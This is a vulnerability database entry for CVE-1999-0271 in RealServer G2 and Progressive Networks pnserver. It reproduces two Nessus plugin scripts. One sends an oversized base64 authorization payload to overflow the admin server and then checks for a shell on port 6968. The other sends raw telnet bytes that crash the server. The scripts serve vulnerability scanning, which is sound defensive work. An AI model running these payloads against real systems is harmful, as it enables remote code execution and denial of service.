Vulnerabilities > CVE-1999-0271

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
nessus

Summary

Progressive Networks Real Video server (pnserver) can be crashed remotely.

Nessus

  • NASL familyGain a shell remotely
    NASL idREALSERVERG2.NASL
    descriptionIf a user sends an oversized login / password combination to the administrative server of a RealServer G2, it will overflow the server
    last seen2020-06-01
    modified2020-06-02
    plugin id10200
    published1999-11-04
    reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/10200
    titleRealServer G2 Malformed Telnet Data Remote Overflow
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    # Original exploit code : see http://www.beavuh.org
    
    include("compat.inc");
    
    if (description)
    {
      script_id(10200);
      script_version("1.29");
      script_cvs_date("Date: 2018/08/13 14:32:36");
    
      script_cve_id("CVE-1999-0271");
    
      script_name(english:"RealServer G2 Malformed Telnet Data Remote Overflow");
      script_summary(english:"Overflows a buffer in RealServer G2");
    
      script_set_attribute(attribute:"synopsis", value:"Arbitrary code may be run on the remote server.");
      script_set_attribute(attribute:"description", value:
    "If a user sends an oversized login / password combination to the
    administrative server of a RealServer G2, it will overflow the server's
    buffer.
    
    An attacker can use this flaw to execute arbitrary code on the remote
    system.");
      script_set_attribute(attribute:"solution", value:
    "Filter incoming traffic to the administrative port of the RealServer
    G2.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2000/01/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"1999/11/04");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:realnetworks:realserver");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
      script_family(english:"Gain a shell remotely");
    
      script_dependencies("http_version.nasl");
      script_exclude_keys("global_settings/supplied_logins_only");
      script_require_ports(7070, "Services/realserver");
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    
    
    if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
    
    port7070 = get_service(svc:"realserver", default:7070, exit_on_fail:TRUE);
    
    
    #
    # A real server is running. Now, let's use the
    # result of the port scan to find the admin port
    #
    if (http_is_dead(port:port7070))exit(0);
    
    
    admin = 0;
    for (i = 1024; i < 65536 && ! admin; i ++)
    {
       if(get_port_state(i))
       {
        w = http_send_recv3(method:"GET", item:"/admin/index.html", port:i);
        if (! isnull(w))
        {
          r = strcat(w[0], w[1], '\r\n', w[2]);
          if ("Unauthorized" >< r) admin = i;
        }
       }
    }
    
    if (! admin) exit(0, "The administrative server of the RealServer G2 install listening on port "+port7070+" was not found.");
    
    
    head = "GET /admin/index.html HTTP/1.0\r\n" +
           "Connection: Keep-Alive\r\n" +
           "User-Agent: Mozilla/4.04  (X11; I; Beavuh OS .9 i486; Nav)\r\n"+
           "Host: 111.111.11.1:1111\r\n" +
           "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\n"+
           "Accept-Language: en\r\n"+
           "Accept-Charset: iso-8859-1,*,utf-8\r\n"+
           "Authorization: Basic ";
    mid = "kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC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    tail = "\r\n\r\n";
    str = string(head, mid, tail);
    r = http_send_recv_buf(port: admin, data: str);
    if (! isnull(r))
    {
      sleep(1);
      r2 = http_send_recv3(port: admin, method:"GET", item:"/admin/index.html");
      if (isnull(r2))
      {
        security_hole(admin);
        soc3 = open_sock_tcp(6968);
        if (soc3)
        {
          security_hole(port:6968, extra:"We could open a shell on this port, thanks to the RealG2 overflow.");
          close(soc3);
        }
      }
    }
    
  • NASL familyWindows
    NASL idPNSERVER.NASL
    descriptionIt was possible to crash the remote Progressive Networks Real Video Server by sending it specially crafted data. An attacker may use this flaw to prevent you from sharing sound and video.
    last seen2020-06-01
    modified2020-06-02
    plugin id10183
    published1999-08-22
    reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/10183
    titleReal Video Server Telnet Malformed Data Remote DoS
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    include("compat.inc");
    
    if(description)
    {
     script_id(10183);
     script_version ("1.26");
     script_cve_id("CVE-1999-0271");
    
     script_name(english:"Real Video Server Telnet Malformed Data Remote DoS");
     
     script_set_attribute(attribute:"synopsis", value:
    "The remote server is vulnerable to a denial of service." );
     script_set_attribute(attribute:"description", value:
    "It was possible to crash the remote Progressive Networks Real Video Server
    by sending it specially crafted data.
    
    An attacker may use this flaw to prevent you from sharing sound and video." );
     script_set_attribute(attribute:"solution", value:
    "Update to RealServer 5.01 or later." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
    
     script_set_attribute(attribute:"plugin_publication_date", value: "1999/08/22");
     script_set_attribute(attribute:"vuln_publication_date", value: "2000/01/15");
     script_cvs_date("Date: 2018/08/13 14:32:39");
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_end_attributes();
    
     script_summary(english: "Crashes the remote pnserver");
     script_category(ACT_DENIAL);
     script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
     script_family(english: "Windows");
     script_require_ports(7070, "Services/realserver");
     script_dependencies("find_service1.nasl");
     exit(0);
    }
    
    #
    # The script code starts here
    #
    include("global_settings.inc");
    include("misc_func.inc");
    
    crp = '\xFF\xF4\xFF\xFD\x06';	# raw_string(255,244,255,253,6)
    
    port = get_service(svc:"realserver", default: 7070, exit_on_fail: 1);
    soc = open_sock_tcp(port);
    if (! soc) exit(0);
    
    send(socket:soc, data:crp);
      close(soc);
      sleep(5);
    
    if (service_is_dead(port: port) > 0)
      security_warning(port);